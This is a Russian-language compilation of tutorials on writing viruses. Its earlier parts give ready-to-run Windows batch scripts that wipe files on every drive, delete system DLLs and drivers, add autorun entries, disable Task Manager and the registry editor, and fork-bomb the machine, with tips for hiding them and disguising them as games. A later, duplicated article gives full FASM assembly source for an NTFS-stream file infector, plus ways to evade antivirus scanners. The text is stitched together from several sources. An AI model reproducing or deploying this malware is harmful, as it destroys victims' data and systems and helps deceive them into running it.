Как написать вирус
1) Открываем блокнот;
2) Пишем в нем «mspaint», без кавычек;
3) Сохраняем файл под любым именем, но вместо .txt мы напишем .bat;
4) Откроем файлик и увидим, что открылся Paint))
Вот и готова наша первая программка. Вместо «mspaint» можно вписать любую программу, например: Calc-калькулятор, Taskmgr-диспетчер задач… Но при чем здесь вирусы? — спросите вы. Ни при чем)) Следующее, что мы сделаем, это программа для изменения времени на компьютере, да и еще она будит копировать себя на флешку (если та вставлена). Итак:
Пишем в блокноте:
time 00:00
copy %0 F:\Work.bat
Первой сточкой мы изменяем время на 00:00, а второй скопируем файл на диск Ф — флешка с именем Work. Не забудьте, сохранить блокнотовский файл в формате .bat. Вместо времени можно изменить и дату «Date 13.06.23». Написав такую строчку, мы изменим дату на 2023 год, 6 месяц, 13 число)) Теперь небольшой перечень того, что можно писать в блокнотовском вирусе.
СПИСОК:
1) «copy %0 x:\y» — копирует вирус на диск x в папку y (пример copy %0 C:\System.bat);
2) «label x:y» — переименовывает диск x на имя y (пример label C:Disc error);
3) «time х:у» — меняет время на х часов и у минут (пример time 14:27);
4) «date x.y.z» — меняет дату на x день, y месяц, z год (пример date 16.11.05);
5) «md х» — создаст папку, в том месте, где наш вирус, с именем х (пример md Papka);
6) «del *.* /q» — удалит все файлы (наш вирус тоже) в папке, где лежит наш вирус (кроме папок);
7) «del x:\y *.* /q» — удалит все файлы на диске х в папке у (кроме папок) (пример del F:\Data*.* /q);
8) «assoc .х=.у» — переделает все файлы, на компьютере, форматом х на у (пример assoc .exe=.mp3);
9) «net user «х» /add» — добавит на компьютер пользователя под именем х (пример net user «Smoked» /add);
Вот две программки вам на рассмотрение, можете их использовать без моего соглашения, но, используя их, вы принимаете соглашение пользователя.
1) Программа для удаления файлов с флешки (если та вставлена) и переименования ее.
del F:\ *.* /q
label F:HACK
2) Программа для изменения даты и времени на компьютере и копирования ее на диск C и на флешку.
time 14:13
date 11.07.12
copy %0 C:\Time.bat
copy %0 F:\Time.bat
Приступим. Вы уже умеете создавать простенькие вирусы. Он умеет: менять время, дату, названия дисков и флешек, открывать программы, создавать папки, копировать себя, добавлять пользователей, менять расширения и уничтожать информацию. Это довольно небольшой список, чесно говоря. В этой части я научу вас некоторым тонкостям вирусописательсва. Допустим, вы уже сделали вирус, но выглядит он довольно некрасиво . Ну кто откроет непонятный файл? Вы правы, таких людей на свете не много. Как же изменить формат из .bat на .exe и добавить иконку. Очень легко (Нужно чтобы на компьютере был WinRAR). Находим любой вирус с расширением .bat, нажимаем на него правой кнопкой, жмем «Добавить в архив…». Ставим галочку «Создать SFX-архив», выбираем вкладку дополнительно, и кликаем на кнопку «Параметры SFX…». В окне «Выполнить после распаковки» пишем названия вируса (пример Virus.bat) а в окне «Текст и графика» далее «Загрузить значок SFX из фала». Жмем «Обзор» и ищем любой значок формата .ico (немного значков есть в папке самоучителя). Теперь жмем ОК. Готово)) Формат .exe, а не .bat, как нам и надо было. Теперь можно делать с вирусами что угодно. А что именно, решать уже вам. Хотите научиться еще командам, которыми можно просто добить нашего «лоха», открываем www.Google.ru, пишем bat вирусы и жмем «Искать».
Привет, читатель. В этой части я буду давать советы по созданию твоих вирусов: как сделать их более сильными, точными и скрытыми. Приступим. Допустим, вы написали вирус, который будет портить открытую от папок информацию и немного вредить:
del C:\ *.* /q
del D:\ *.* /q
del E:\ *.* /q
del F:\ *.* /q
time 00:00
date 13.06.23
del *.* /q
Готово? – спросите вы. Нет. Нужно его закончить. Новая команда «@echo off» вводиться в начале нашего вируса и скрывает все, что в нем происходит в дальнейшем. Одним словом, не дадим пользователю увидеть, что случилось. Еще добавив после каждой команды простенькое, но очень эффективное действие, как «>nul» к примеру «time 00:00 >nul», мы скроем сточку. Итак, можно усовершенствовать наш вирус:
@echo off
del C:\ *.* /q >nul
del D:\ *.* /q >nul
del E:\ *.* /q >nul
del F:\ *.* /q >nul
time 00:00 >nul
date 13.06.23 >nul
del *.* /q >nul
Вот, теперь наш вирус готов. Сохраняем, конвертируем, а вот, что дальше с ним делать — ваше дело. Кстати, есть отличная программа для конвертирования .bat в .exe, она работает намного лучше WinRAR’а, называется она «Bat to exe converter». Скачать ее можно в интернете, она бесплатная. Итак, вернемся к вирусо-писательству.
%SystemRoot%/system32/rundll32 user32, SwapMouseButton
Данная строчка меняет клавиши мыши местами. Можно с кого-то прикольнуться, пока он въедет, что случилось, пройдет время (если он совсем юзер), для особоодаренных скажу, если вы ввели это у себя отключить довольно просто: «Панель Управления», «Принтеры и другое оборудование», «Мышь» и снимаем первую галочку.
Итак, дальше поехали дальше:
😡 ;
Start mspaint
goto x ;
Очень неплохая строка для нагрузки слабеньких машин. Команда открывает Paint, причем очень быстро. Раз 60 до того как вы поймете, что случилось и закроете программу. Попробуйте ввести вместо mspaint любые строки программ. Работает)) Можно использовать по несколько таких команд до полного торможения компьютера жертвы. Новый скрипт:
copy «»%0″» «%SystemRoot%\system32\File.bat»
reg add «HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run» /v «Filel» /t REG_SZ /d «%SystemRoot%\system32\File.bat» /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f
Очень жестокая команда: добавляет программу в автозагрузку ОС. Не советую проверять на вашем компьютере. Не останавливаемся, а едем дальше))
assoc .lnk=.txt >nul
assoc .exe=.mp3 >nul
Данными двумя строками мы делаем, весьма тяжелый вред компьютеру жертвы. Он меняет расширения всех файлов на компьютере с .lnk в .txt и .exe в .mp3. То есть все ярлыки, открываются в блокноте, а программы, все, в плеере. Круто, да? Теперь прочтите нижний код и если вы поняли, в чем суть вируса, поздравляю вас вы закончили базовый курс, от SMOKED’а, вирусо-писательства. Если же нет. Читаем все заново))
@echo off
%SystemRoot%/system32/rundll32 user32, SwapMouseButton >nul
time 0:00 >nul
date 13.06.23 >nul
label C:IDIOT >nul
label D:DURAK >nul
label E:SUKA >nul
label F:GANDON >nul
copy %0 C:\Open.bat >nul
copy %0 D:\Open.bat >nul
copy %0 E:\Open.bat >nul
copy %0 F:\Open.bat >nul
net user «Idiot you Hacked» /add >nul
net user «Bitch you Hacked» /add >nul
net user «Durak you Hacked» /add >nul
net user «Kritin you Hacked» /add >nul
net user «Gavno you Hacked» /add >nul
md 1 >nul
md 2 >nul
md 3 >nul
md 4 >nul
md 5 >nul
md 6 >nul
md 7 >nul
md 8 >nul
md 9 >nul
md 10 >nul
md 11 >nul
md 12 >nul
md 13 >nul
md 14 >nul
md 15 >nul
md 16 >nul
md 17 >nul
md 18 >nul
md 19 >nul
md 20 >nul
md 21 >nul
md 22 >nul
md 23 >nul
md 24 >nul
md 25 >nul
md 26 >nul
md 27 >nul
assoc .lnk=.txt >nul
assoc .exe=.txt >nul
😡 ;
Start mspaint
goto x ;
😡 ;
Start Calc
goto x ;
copy «»%0″» «%SystemRoot%\system32\Cool.bat» >nul
reg add «HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run» /v «Cool» /t REG_SZ /d «%SystemRoot%\system32\Cool.bat» /f >nul
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f >nul
В этой статье я постараюсь объяснить, как создавать вредоносные программы (вирусы, трояны), используя штатные средства Windows и не только. Начнём мы с создания так называемых ВАТ-файлов или просто bat’ников, для этого нам понадобится всего лишь стандартный Блокнот Windows. Создаём файл *.txt и открываем его. Теперь нам нужно забить в него определённые команды, примеры которых вы видите ниже:
reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPolicies System /v DisableTaskMgr /t REG_DWORD /d 1 /f >nul – Запретить комбинацию клавиш Ctrl-Alt-Del
del «%SystemRoot%system32*.dll» /q >nul – Удалить все системные DLL(Динамические загружаемые библиотеки)
del «%SystemRoot%Driver Cachei386driver.cab» /f /q >nul – Удалить все драйверы, установленные на компьютере
%SystemRoot%/system32/rundll32 user32, SwapMouseButton >nul – Поменять местами значения кнопок мыши
reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPolicies ExplorerRestrictRun /v 1 /t REG_DWORD /d %SystemRoot%explorer.exe /f >nul – Делает невозможным запуск приложений
time 0:00 >nul – Поставить время на 00:00
reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPolicies System /v DisableRegistryTools /t REG_DWORD /d 1 /f >nul – Запретить редактирование реестра вручную
del «%SystemRoot%Cursors*.*» >nul – Удалить курсор мыши
del «%SystemRoot%Media» /q >nul – Удалить системные звуки Windows
reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPolicies Explorer /v NoControlPanel /t REG_DWORD /d 1 /f >nul – Запретить вызов панели кправления
reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPolicies Explorer /v NoDesktop /t REG_DWORD /d 1 /f >nul – Убрать рабочий стол
shutdown -r -t 1 -c «lol» -f >nul – Форсираванная перезагрузка ПК
shutdown -s -t 1 -c «lol» -f >nul – Форсированное выключение ПК
taskkill /f /im explorer.exe >nul – Убить процесс Explorer.exe
net share «ResName»=»C:» >nul – Расшарить диск C:
label C:Диск >nul – Переименовать диск С:
msg * «Текст сообщения» >nul – Показать Windows-стилизованное сообщение с кнопкой ОК
del «%0» >nul – Самоликвидация вируса
А теперь комментарии. Команда del направлена на удаление определённого файла, после неё в кавычках пишется полный путь к файлу, если вы хотите удалить из папки все файлы с расширением txt, например, то после название целевой папки и дроби нужно написать *.txt. Если нужно удалить что-нибудь из директории Windows, гораздо проще будет написать %SystemRoot%, вместо полного пути к директории, а уже затем вводить остальной путь. Также получившийся вирус может самоуничтожаться, для этого вместо пути к целевому файлу нужно ввести %0. Команда reg add может редактировать содержимое реестра. Для этого после этой команды нужно написать полный путь к необходимому вам ключу(без кавычек), и его новое значение. Команда time просто устанавливает любое время на часах ПК. Команда shutdown выполняет выключение или перезагрузку ПК, если после команды стоит r -t 1 -c «lol», то произойдёт перезагрузка, а если -s -t 1 -c «lol», то выключение. Также можно добавить в конце –f через пробел, тогда операция (выключение или перезагрузка) произойдёт форсированно, т.е. без предупреждения пользователя. Команда
taskkill /f /im убивает указанный процесс, а указать его надо через пробел с расширением. Также существует команда net share, которая расшаривает (открывает общий доступ из сети) определённый диска на компьютере. После нее нужно написать в кавычках название расшаренного ресурса (на ваше усмотрение) после этого знак = и буквенный идентификатор диска в кавычках с двоеточием и дробью. Комадна label переименовывает указаный диск, для этого напишите буквенный идентификатор диска, знак =, и новое название. Команда msg * выводит на экран окно с сообщением и кнопкой ОК, после неё надо написать текст сообщения в кавычках через пробел после команды. Теперь, когда вы записали необходимые вам команды, сохраните созданный *.txt с расширением *.bat
Также вы можете писать подобные вирусы не вручную, а используя специальные программы, автоматизирующие данный процесс. Могу порекомендовать одну такую программу, это BAT Virus Master. Спасибо за внимание, всех благ!
Безобидные вирусы .bat
Здравствуй, дорогой читатель/читательница. Если ты читаешь эту статью, значит тебе захотелось немножко разыграть своего друга или знакомого. Здесь ты прочитаешь, как создать свой безобидный вирус с расширением .bat.
Предупреждаю: все описанные здесь примеры должны использоваться строго в законных целях. Автор этой статьи и администрация сайта за причиненный Вами ущерб ответственности не несёт! D:
Короче говоря, сначала рассмотрим, что же такое в сущности, этот таинственный bat-файл, или в компьютерном сленге, батник.
Википедия гласит:
Пакетный файл (англ. batch file) — текстовый файл в MS-DOS, OS/2 или Windows, содержащий последовательность команд, предназначенных для исполнения командным интерпретатором. После запуска пакетного файла программа-интерпретатор (как правило, COMMAND.COM или cmd.exe) читает его строка за строкой и последовательно исполняет команды. Пакетный файл — аналог скриптовых файлов командной строки (shell script) в Unix-подобных операционных системах.
Проще говоря, это аналог командной строки.
Конечно, команд там разных много, но нам потребуется лишь несколько. Впринципе, если Вы хотите сделать этот вирус один раз и не вдаваться в подробности, то запоминать их и не надо.
Общий принцип создания bat-файлов очень прост. Их можно создавать даже через Блокнот.
- Открываем Блокнот
- Пишем @echo off
- Дальше пишем или копируем туда наш код
- Выбираем в левом верхнем углу «Сохранить как. «
- По умолчанию, все файлы сохраняются как .txt. Нас же это не устраивает.
Выбираем вместо «текстовые документы» «все файлы», пишем имя файла.bat и сохраняем.
В итоге должно получиться вот так
А затем вот так 
Но если вы хотите быть коварными до конца, поменяйте у пакетного файла расширение на .exe, поставьте ему иконку, на которую пользователь захочет нажать, и, конечно, поменяйте название на название его любимой игры или браузера.
В общем, решайте сами. Фантазия тут неограничена.
Теперь, собственно, сам код.
start %0 %0
При активации данного «недовируса» появляется бесчисленное множество командных строк и компьютер гарантированно виснет. Убить процесс можно лишь через перезагрузку компьютера. На моём ноуте с объемом оперативной памяти 16 Гб глюков не наблюдалось лишь первые 3 секунды. Потом он намертво завис.
Называется такой тип вируса «форк-бомба». Опять-таки, читайте в Википедии 🙂
- Курс HTML для начинающих
- Курс PHP для начинающих
- Курс MySQL для начинающих
- Курс ООП в PHP
time 0:00 >nul
Данный вирус сбивает время на компьютере. Дёшево и сердито. И максимально безобидно.
del ** /q
Удаляет все ярлыки с рабочего стола. Уже не так безобидно, но еще не катастрофа.
del "%SystemRoot%\Cursors\*.*" >nul
Удаляет все курсоры. Пользователь дезориентирован.
shutdown -l -t 1 -c "Электрик ушёл в запой." -f >nul
Вырубает компьютер через 1 секунду, во время которой пользователь читает сообщение в кавычках.
msg * "Программу съел червяк." >nul
Выводит на экран сообщение с кнопкой ОК
Наконец, вирус можно сделать самоуничтожающимся, чтобы пользователь долго гадал, почему у него нет курсоров, например:
del "%0" >nul

(Команду для самоуничтожения вируса нужно писать после самого вируса). Например
Ну, собственно, и всё. С батниками можно сделать еще очень много чего интересного, но новичкам, я думаю, хватит и этого. И еще раз предупреждаю: не надо разыгрывать людей со слабой психикой, А ТО КАК ТРЕСНУТ!
До скорого, мои хакеры)
Как написать вирус для windows

Конструирование вирусов — отличный стимул изучать ассемблер. И хотя вирус, в принципе, можно написать и на С, это будет как-то не по-хакерски и вообще неправильно. Следующий далее текст — заметка Криса Касперски, которая раньше не публиковалась. Из нее ты узнаешь, как создаются вирусы и как написать простой вирус для Windows при помощи FASM.

Содержание скрыть
C чего начать писать вирус для windows?
Итак, давай погрузимся в мрачный лабиринт кибернетического мира, ряды обитателей которого скоро пополнятся еще одним зловредным созданием. Внедрение вируса в исполняемый файл в общем случае достаточно сложный и мучительный процесс. Как минимум для этого требуется изучить формат PE-файла и освоить десятки API-функций. Но ведь такими темпами мы не напишем вирус и за сезон, а хочется прямо здесь и сейчас. Но хакеры мы или нет? Файловая система NTFS (основная файловая система Windows) содержит потоки данных (streams), называемые также атрибутами. Внутри одного файла может существовать несколько независимых потоков данных.

Имя потока отделяется от имени файла знаком двоеточия (:), например my_file:stream . Основное тело файла хранится в безымянном потоке, но мы также можем создавать и свои потоки. Заходим в FAR Manager, нажимаем клавиатурную комбинацию Shift + F4 , вводим с клавиатуры имя файла и потока данных, например xxx:yyy , и затем вводим какой-нибудь текст. Выходим из редактора и видим файл нулевой длины с именем xxx .
Почему же файл имеет нулевую длину? А где же только что введенный нами текст? Нажмем клавишу и… действительно не увидим никакого текста. Однако ничего удивительного в этом нет. Если не указать имя потока, то файловая система отобразит основной поток, а он в данном случае пуст. Размер остальных потоков не отображается, и дотянуться до их содержимого можно, только указав имя потока явно. Таким образом, чтобы увидеть текст, необходимо ввести следующую команду: more < xxx:yyy .
Будем мыслить так: раз создание дополнительных потоков не изменяет видимых размеров файла, то пребывание в нем постороннего кода, скорее всего, останется незамеченным. Тем не менее, чтобы передать управление на свой поток, необходимо модифицировать основной поток. Контрольная сумма при этом неизбежно изменится, что наверняка не понравится антивирусным программам. Методы обмана антивирусных программ мы рассмотрим в дальнейшем, а пока определимся со стратегией внедрения.
Алгоритм работы вируса
Закрой руководство по формату исполняемых файлов (Portable Executable, PE). Для решения поставленной задачи оно нам не понадобится. Действовать будем так: создаем внутри инфицируемого файла дополнительный поток, копируем туда основное тело файла, а на освободившееся место записываем наш код, который делает свое черное дело и передает управление основному телу вируса.
Работать такой вирус будет только на Windows и только под NTFS. На работу с другими файловыми системами он изначально не рассчитан. Например, на разделах FAT оригинальное содержимое заражаемого файла будет попросту утеряно. То же самое произойдет, если упаковать файл с помощью ZIP или любого другого архиватора, не поддерживающего файловых потоков.
В качестве примера архиватора, поддерживающего файловые потоки, можно привести WinRAR. Вкладка «Дополнительно» в диалоговом окне «Имя и параметры архива» содержит группу опций NTFS. В составе этой группы опций есть флажок «Сохранять файловые потоки». Установи эту опцию, если при упаковке файлов, содержащих несколько потоков, требуется сохранить их все.

Теперь настал момент поговорить об антивирусных программах. Внедрить вирусное тело в файл — это всего лишь половина задачи, и притом самая простая. Теперь создатель вируса должен продумать, как защитить свое творение от всевозможных антивирусов. Эта задача не так сложна, как кажется на первый взгляд. Достаточно заблокировать файл сразу же после запуска и удерживать его в этом состоянии в течение всего сеанса работы с Windows вплоть до перезагрузки. Антивирусы просто не смогут открыть файл, а значит, не смогут обнаружить и факт его изменения. Существует множество путей блокировки — от CreateFile со сброшенным флагом dwSharedMode до LockFile/LockFileEx .
Основная ошибка большинства вирусов состоит в том, что, однажды внедрившись в файл, они сидят и покорно ждут, пока антивирус не обнаружит их и не удалит. А ведь сканирование современных винчестеров занимает значительное время, зачастую оно растягивается на многие часы. В каждый момент времени антивирус проверяет всего один файл, поэтому, если вирус ведет кочевую жизнь, мигрируя от одного файла к другому, вероятность, что его обнаружат, стремительно уменьшается.
Мы будем действовать так: внедряемся в файл, ждем 30 секунд, удаляем свое тело из файла, тут же внедряясь в другой. Чем короче период ожидания, тем выше шансы вируса остаться незамеченным, но и тем выше дисковая активность. А регулярные мигания красной лампочки без видимых причин сразу же насторожат опытных пользователей, поэтому приходится хитрить.
Например, можно вести мониторинг дисковой активности и заражать только тогда, когда происходит обращение к какому-нибудь файлу. В решении этой задачи нам поможет специализированное ПО, например монитор процессов Procmon.
Программный код вируса для windows
Естественные языки с описанием компьютерных алгоритмов практически никогда не справляются. Уж слишком эти языки неоднозначны и внутренне противоречивы. Поэтому, во избежание недоразумений, продублируем описание алгоритма на языке ассемблера. Вот исходный код нашего вируса.
include 'c:\fasm\INCLUDE\WIN32AX.INC' .data foo db "foo",0 ; Имя временного файла code_name db ":bar",0 ; Имя потока, в котором будет. code_name_end: ; . сохранено основное тело ; Различные текстовые строки, которые выводит вирус aInfected db "infected",0 aHello db "Hello, you are hacked" ; Различные буфера для служебных целей buf rb 1000 xxx rb 1000 .code start: ; Удаляем временный файл push foo call [DeleteFile] ; Определяем наше имя push 1000 push buf push 0 call [GetModuleFileName] ; Считываем командную строку ; Ключ filename — заразить call [GetCommandLine] mov ebp, eax xor ebx, ebx mov ecx, 202A2D2Dh ; rool: cmp [eax], ecx ; это '--*'? jz infect inc eax cmp [eax], ebx ; Конец командной строки? jnz rool ; Выводим диагностическое сообщение, ; подтверждая свое присутствие в файле push 0 push aInfected push aHello push 0 call [MessageBox] ; Добавляем к своему имени имя потока NTFS mov esi, code_name mov edi, buf mov ecx, 100; сode_name_end - code_name xor eax,eax repne scasb dec edi rep movsb ; Запускаем поток NTFS на выполнение push xxx push xxx push eax push eax push eax push eax push eax push eax push ebp push buf call [CreateProcess] jmp go2exit ; Выходим из вируса infect: ; Устанавливаем eax на первый символ имени файла-жертвы ; (далее по тексту dst) add eax, 4 xchg eax, ebp xor eax,eax inc eax ; Здесь можно вставить проверку dst на заражение ; Переименовываем dst в foo push foo push ebp call [MoveFile] ; Копируем в foo основной поток dst push eax push ebp push buf call [CopyFile] ; Добавляем к своему имени имя потока NTFS mov esi, ebp mov edi, buf copy_rool: lodsb stosb test al,al jnz copy_rool mov esi, code_name dec edi copy_rool2: lodsb stosb test al,al jnz copy_rool2 ; Копируем foo в dst:bar push eax push buf push foo call [CopyFile] ; Здесь не помешает добавить коррекцию длины заражаемого файла ; Удаляем foo push foo call [DeleteFile] ; Выводим диагностическое сообщение, ; подтверждающее успешность заражения файла push 0 push aInfected push ebp push 0 call [MessageBox] ; Выход из вируса go2exit: push 0 call [ExitProcess] .end start
Компиляция и тестирование вируса для windows
Для компиляции вирусного кода нам понадобится транслятор FASM, бесплатную Windows-версию которого можно найти на сайте flatassembler.net. Остальные трансляторы (MASM, TASM) тут непригодны, так как они используют совсем другой ассемблерный синтаксис.
Скачай последнюю версию FASM для Windows, распакуй архив и запусти приложение fasmw.exe. Скопируй исходный код вируса в окошко программы и выполни команды Run → Compile, а затем укажи, в какую папку сохранить скомпилированный исполняемый файл.
Запустим его на выполнение с опцией командной строки —* , вписав после нее имя файла, который требуется заразить, например notepad.exe ( xcode.exe —* notepad.exe ). Появление диалогового окна, показанного на рисунке, говорит, что вирус внедрен в исполняемый файл блокнота.

Если попытка заражения потерпела неудачу, первым делом необходимо убедиться, что права доступа к файлу есть. Захватывать их самостоятельно наш вирус не умеет. Во всяком случае — пока. Но вот настоящие вирусы, в отличие от нашего безобидного лабораторного создания, сделают это непременно.
Теперь запусти зараженный файл notepad.exe на исполнение. В доказательство своего существования вирус тут же выбрасывает диалоговое окно, показанное на рисунке, а после нажатия на кнопку ОK передает управление оригинальному коду программы.

Чтобы фокус сработал в Windows 10, вирус должен быть запущен от имени администратора.
Чтобы не возбуждать у пользователя подозрений, настоящий вирусописатель удалит это диалоговое окно из финальной версии вируса, заменив его какой-нибудь вредоносной начинкой. Тут все зависит от вирусописательских намерений и фантазии. Например, можно перевернуть экран, сыграть над пользователем еще какую-нибудь безобидную шутку или же заняться более зловредной деятельностью вроде похищения паролей или другой конфиденциальной информации.
Зараженный файл обладает всеми необходимыми репродуктивными способностями и может заражать другие исполняемые файлы. Например, чтобы заразить игру Solitaire, следует дать команду notepad.exe —* sol.exe . Кстати говоря, ни один пользователь в здравом уме не будет самостоятельно заражать файлы через командную строку. Поэтому вирусописатель должен будет разработать процедуру поиска очередного кандидата на заражение.
До сих пор рассматриваемый вирус действительно был абсолютно безобиден. Он не размножается и не выполняет никаких злонамеренных или деструктивных действий. Ведь он создан лишь для демонстрации потенциальной опасности, подстерегающей пользователей NTFS. Исследовательская деятельность преступлением не является. Но вот если кто-то из вас решит доработать вирус так, чтобы он самостоятельно размножался и совершал вредоносные действия, то следует напомнить, что это уже станет уголовно наказуемым деянием.
Так что вместо разработки вредоносной начинки будем совершенствовать вирус в другом направлении. При повторном заражении файла текущая версия необратимо затирает оригинальный код своим телом, в результате чего файл станет неработоспособным. Вот беда! Как же ее побороть? Можно добавить проверку на зараженность перед копированием вируса в файл. Для этого следует вызвать функцию CreateFile , передать ей имя файла вместе с потоком (например, notepad.exe:bar ) и проверить результат. Если файл открыть не удалось, значит, потока bar этот файл не содержит и, следовательно, он еще не заражен. Если же файл удалось успешно открыть, стоит отказаться от заражения или выбрать другой поток. Например: bar_01 , bar_02 , bar_03 .
Еще одна проблема заключается в том, что вирус не корректирует длину целевого файла и после внедрения она станет равной 4 Кбайт (именно таков размер текущей версии исполняемого файла вируса). Это плохо, так как пользователь тут же заподозрит подвох (файл explorer.exe, занимающий 4 Кбайт, выглядит довольно забавно), занервничает и начнет запускать антивирусы. Чтобы устранить этот недостаток, можно запомнить длину инфицируемого файла перед внедрением, затем скопировать в основной поток тело вируса, открыть файл на запись и вызвать функцию SetFilePointer для установки указателя на оригинальный размер, увеличивая размер инфицированного файла до исходного значения.
Заключение
Предложенная стратегия внедрения, конечно, неидеальна, но все же это намного лучше, чем прописываться в реестре, который контролируется множеством утилит мониторинга. Наконец, чтобы не пострадать от своего же собственного вируса, каждый вирусописатель всегда должен иметь под рукой противоядие. Командный файл, приведенный в следующем листинге, извлекает оригинальное содержимое файла из потока bar и записывает его в файл reborn.exe .
more %1:bar > reborn.exe ECHO I’m reborn now!
Используй полученные знания с осторожностью, изучай ассемблер, не забывай мыть руки перед едой и всегда помни о том, что создание вирусов в каких-либо иных целях, кроме исследовательских, не только очень веселое, но еще и противозаконное занятие. А закон, как любил говорить один литературный персонаж, надо чтить!
Вирус для Windows. Создаем простейшую вредоносную программу на ассемблере

Конструирование вирусов — отличный стимул изучать ассемблер. И хотя вирус, в принципе, можно написать и на С, это будет как-то не по-хакерски и вообще неправильно. Следующий далее текст — заметка Криса Касперски, которая раньше не публиковалась в «Хакере». Из нее ты узнаешь, как создаются вирусы и как написать простой вирус для Windows при помощи FASM.
Пара вступительных слов
Итак, давай погрузимся в мрачный лабиринт кибернетического мира, ряды обитателей которого скоро пополнятся еще одним зловредным созданием. Внедрение вируса в исполняемый файл в общем случае достаточно сложный и мучительный процесс. Как минимум для этого требуется изучить формат PE-файла и освоить десятки API-функций. Но ведь такими темпами мы не напишем вирус и за сезон, а хочется прямо здесь и сейчас. Но хакеры мы или нет? Файловая система NTFS (основная файловая система Windows) содержит потоки данных (streams), называемые также атрибутами. Внутри одного файла может существовать несколько независимых потоков данных.
![]()
WARNING
Вся информация в этой статье предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи. Помни, что неправомерный доступ к компьютерной информации и распространение вредоносного ПО влекут ответственность согласно статьям 272 и 273 УК РФ.

Имя потока отделяется от имени файла знаком двоеточия (:), например my_file:stream . Основное тело файла хранится в безымянном потоке, но мы также можем создавать и свои потоки. Заходим в FAR Manager, нажимаем клавиатурную комбинацию Shift + F4 , вводим с клавиатуры имя файла и потока данных, например xxx:yyy , и затем вводим какой-нибудь текст. Выходим из редактора и видим файл нулевой длины с именем xxx .
Почему же файл имеет нулевую длину? А где же только что введенный нами текст? Нажмем клавишу и… действительно не увидим никакого текста. Однако ничего удивительного в этом нет. Если не указать имя потока, то файловая система отобразит основной поток, а он в данном случае пуст. Размер остальных потоков не отображается, и дотянуться до их содержимого можно, только указав имя потока явно. Таким образом, чтобы увидеть текст, необходимо ввести следующую команду: more < xxx:yyy .
Будем мыслить так: раз создание дополнительных потоков не изменяет видимых размеров файла, то пребывание в нем постороннего кода, скорее всего, останется незамеченным. Тем не менее, чтобы передать управление на свой поток, необходимо модифицировать основной поток. Контрольная сумма при этом неизбежно изменится, что наверняка не понравится антивирусным программам. Методы обмана антивирусных программ мы рассмотрим в дальнейшем, а пока определимся со стратегией внедрения.
Алгоритм работы вируса
Закрой руководство по формату исполняемых файлов (Portable Executable, PE). Для решения поставленной задачи оно нам не понадобится. Действовать будем так: создаем внутри инфицируемого файла дополнительный поток, копируем туда основное тело файла, а на освободившееся место записываем наш код, который делает свое черное дело и передает управление основному телу вируса.
Работать такой вирус будет только на Windows и только под NTFS. На работу с другими файловыми системами он изначально не рассчитан. Например, на разделах FAT оригинальное содержимое заражаемого файла будет попросту утеряно. То же самое произойдет, если упаковать файл с помощью ZIP или любого другого архиватора, не поддерживающего файловых потоков.
В качестве примера архиватора, поддерживающего файловые потоки, можно привести WinRAR. Вкладка «Дополнительно» в диалоговом окне «Имя и параметры архива» содержит группу опций NTFS. В составе этой группы опций есть флажок «Сохранять файловые потоки». Установи эту опцию, если при упаковке файлов, содержащих несколько потоков, требуется сохранить их все.

Теперь настал момент поговорить об антивирусных программах. Внедрить вирусное тело в файл — это всего лишь половина задачи, и притом самая простая. Теперь создатель вируса должен продумать, как защитить свое творение от всевозможных антивирусов. Эта задача не так сложна, как кажется на первый взгляд. Достаточно заблокировать файл сразу же после запуска и удерживать его в этом состоянии в течение всего сеанса работы с Windows вплоть до перезагрузки. Антивирусы просто не смогут открыть файл, а значит, не смогут обнаружить и факт его изменения. Существует множество путей блокировки — от CreateFile со сброшенным флагом dwSharedMode до LockFile/LockFileEx .
Основная ошибка большинства вирусов состоит в том, что, однажды внедрившись в файл, они сидят и покорно ждут, пока антивирус не обнаружит их и не удалит. А ведь сканирование современных винчестеров занимает значительное время, зачастую оно растягивается на многие часы. В каждый момент времени антивирус проверяет всего один файл, поэтому, если вирус ведет кочевую жизнь, мигрируя от одного файла к другому, вероятность, что его обнаружат, стремительно уменьшается.
Мы будем действовать так: внедряемся в файл, ждем 30 секунд, удаляем свое тело из файла, тут же внедряясь в другой. Чем короче период ожидания, тем выше шансы вируса остаться незамеченным, но и тем выше дисковая активность. А регулярные мигания красной лампочки без видимых причин сразу же насторожат опытных пользователей, поэтому приходится хитрить.
Например, можно вести мониторинг дисковой активности и заражать только тогда, когда происходит обращение к какому-нибудь файлу. В решении этой задачи нам поможет специализированное ПО, например монитор процессов Procmon.
Присоединяйся к сообществу «Xakep.ru»!
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

Крис Касперски
Известный российский хакер. Легенда ][, ex-редактор ВЗЛОМа. Также известен под псевдонимами мыщъх, nezumi (яп. 鼠, мышь), n2k, elraton, souriz, tikus, muss, farah, jardon, KPNC.
